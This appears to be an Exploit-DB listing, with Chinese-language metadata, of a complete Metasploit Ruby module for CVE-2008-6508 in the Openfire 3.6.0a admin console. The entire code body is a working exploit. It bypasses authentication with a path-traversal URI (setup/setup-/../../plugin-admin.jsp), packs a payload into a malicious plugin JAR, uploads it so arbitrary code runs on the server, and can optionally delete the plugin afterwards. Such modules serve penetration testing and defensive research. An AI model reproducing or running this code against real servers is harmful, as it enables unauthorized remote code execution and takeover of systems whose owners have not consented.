标题: Openfire Server 3.6.0a - Admin Console Authentication Bypass (Metasploit) EDB-ID: 19432 CVE: 2008-6508 类型: WEBAPPS 平台: JSP 发布日期: 2012-06-28 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /(Jetty)/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Openfire Admin Console Authentication Bypass',
   'Description' => %q{
     This module exploits an authentication bypass vulnerability in the administration
    console of Openfire servers. By using this vulnerability it is possible to
    upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
    code. This module has been tested against Openfire 3.6.0a.

    It is possible to remove the uploaded plugin after execution, however this might turn
    the server in some kind of unstable state, making re-exploitation difficult. You might
    want to do this manually.
   },
   'Author'      =>
    [
     'Andreas Kurtz', # Vulnerability discovery
     'h0ng10'         # Metasploit module
    ],
   'License'     => MSF_LICENSE,
   'References'  =>
    [
     [ 'CVE', '2008-6508' ],
     [ 'OSVDB', '49663' ],
     [ 'BID', '32189' ],
     [ 'EDB', '7075' ],
     [ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
    ],
   'DisclosureDate' => 'Nov 10 2008',
   'Privileged'  => true,
   'Platform'    => ['java', 'win', 'linux' ],
   'Stance'      => Msf::Exploit::Stance::Aggressive,
   'Targets'     =>
    [
     #
     # Java version
     #
     [ 'Java Universal',
      {
        'Arch' => ARCH_JAVA,
        'Platform' => 'java'
      }
     ],
     #
     # Platform specific targets
     #
     [ 'Windows x86 (Native Payload)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ]
    ],
   'DefaultTarget'   => 0,

  ))

  register_options(
   [
    Opt::RPORT(9090),
    OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
    OptString.new('PLUGINNAME',  [ false, 'Openfire plugin base name, (default: random)' ]),
    OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
    OptString.new('PLUGINDESC',  [ false, 'Openfire plugin description, (default: random)' ]),
    OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
   ], self.class)
 end

 def check
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  path = "#{base}login.jsp"
  res = send_request_cgi(
   {
    'uri'    => path
   })

  if (not res) or (res.code != 200)
   print_error("Unable to make a request to: #{path}")
   return Exploit::CheckCode::Unknown
  end

  versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/

  if versioncheck.nil? then
   print_error("Unable to detect Openfire version")
   return Exploit::CheckCode::Unknown
  end

  print_status("Detected version: #{$1}.#{$2}.#{$3}")
  version = "#{$1}#{$2}#{$3}".to_i

  return Exploit::CheckCode::Safe if version > 360

  # Just to be sure, try to access the log page
  path = "#{base}setup/setup-/../../log.jsp"
  res = send_request_cgi(
   {
    'uri'    => path
   })

  if (not res) or (res.code != 200)
   print_error("Failed: Error requesting #{path}")
   return Exploit::CheckCode::Unknown
  end

  Exploit::CheckCode::Vulnerable
 end

 def get_plugin_jar(plugin_name)
  files = [
   [ "logo_large.gif" ],
   [ "logo_small.gif" ],
   [ "readme.html" ],
   [ "changelog.html" ],
   [ "lib", "plugin-metasploit.jar" ]
  ]

  jar = Rex::Zip::Jar.new
  jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))

  plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
  plugin_desc   = datastore['PLUGINDESC']   || rand_text_alphanumeric(8+rand(8))

  plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
  plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
  plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
  plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)

  jar.add_file("plugin.xml", plugin_xml)

  jar
 end

 def exploit
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
  plugin = get_plugin_jar(plugin_name)

  arch = target.arch
  plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

  if (p = exploit_regenerate_payload(plat, arch)) == nil
   print_error("Failed to regenerate payload")
   return
  end

  plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
  plugin.build_manifest

  # Upload the plugin to the server
  print_status("Uploading plugin #{plugin_name} to the server")
  boundary = rand_text_alphanumeric(6)

  data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
  data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
  data << plugin.pack
  data << "\r\n--#{boundary}--"

  res = send_request_cgi({
   'uri'     => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin",
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
    {
     'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
     'Content-Length' => data.length,
     'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
    }
  })


  print_error("Warning: got no response from the upload, continuing...") if !res

  # Delete the uploaded JAR file
  if datastore['REMOVE_PLUGIN']
   print_status("Deleting plugin #{plugin_name} from the server")
   res = send_request_cgi({
    'uri'     => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
    'headers' =>
     {
      'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
     }
   })
   if not res
    print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
   end
  end
 end
end URL: https://www.exploit-db.com/exploits/19432